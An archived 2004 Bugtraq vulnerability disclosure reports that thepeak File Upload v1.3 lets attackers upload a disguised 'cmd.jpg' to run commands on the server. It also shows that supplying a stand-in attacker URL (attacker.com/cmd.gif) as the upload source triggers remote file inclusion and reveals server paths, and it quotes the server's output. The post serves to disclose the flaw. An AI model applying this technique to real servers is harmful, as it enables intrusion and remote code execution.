bugtraq - a path disclosure and a posibility file inclusion and vulneability in thepeak file upload v1.3

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20041015092131.8674.qmail@www.securityfocus.com>
Date: 15 Oct 2004 09:21:31 -0000
From: keitel andres ortega <justint@...ail.net>
To: bugtraq@...urityfocus.com
Subject: a path disclosure and a posibility file inclusion and
    vulneability in thepeak file upload v1.3




Justin_T
#NT - Undernet
justint@...ngemail.com.do

hi,
there is a posiblity path disclosure and run commands on a server usint thepeak File Upload v1.3
searching for /fileupload/index.php an attacker can upload a malicious jpg of gif and can execute commands or make a file inclusion,
but it cant be directly to upload a php file with .jpg extension, because detect the content type as text/plain, look this:


name : cmd.jpg 
type : text/plain  <--- when you upload the file the content type is seem like this
tmp_name : /tmp/phpF0AItw <-- this is a copy of the file in the server with a ramdom temp
error : 0 
size : 26564 

http://server.com/fileupload/store/cmd.jpg <--- this is where is stored the original file

there is a 2 ways to get in
cracking the content-type when uploading the file or constructing an malicious jpg image with some commands:
1: chmod the dir for file inclusion
2: run certain commands on server, etc


Path Disclosure
when you try to put in input of upload file something like
http://www.attacker.com/command.jpg its seem the path of the web files like this:

File Upload Manager v1.3  © thepeak  


name : http://www.attacker.com/cmd.gif 
type : application/octet-stream 
tmp_name : /tmp/phptd8aE0 
error : 0 
size : 0 


Warning: copy(store/http://www.attacker.com/cmd.gif): failed to open stream: No such file or directory in /home/user/public_html//fileupload/index.php on line 471

 ERROR: cannot upload, please chmod the dir to 777

some servers accept the file inclusion and you get this

name : http://www.attacker.com/cmd.gif 
type : application/octet-stream 
tmp_name : /tmp/phptd8aE0 
error : 0 
size : 1035

file uploaded!

sorry for my english, is no good :), if you want to organizate this info i apreciated that, thanx :)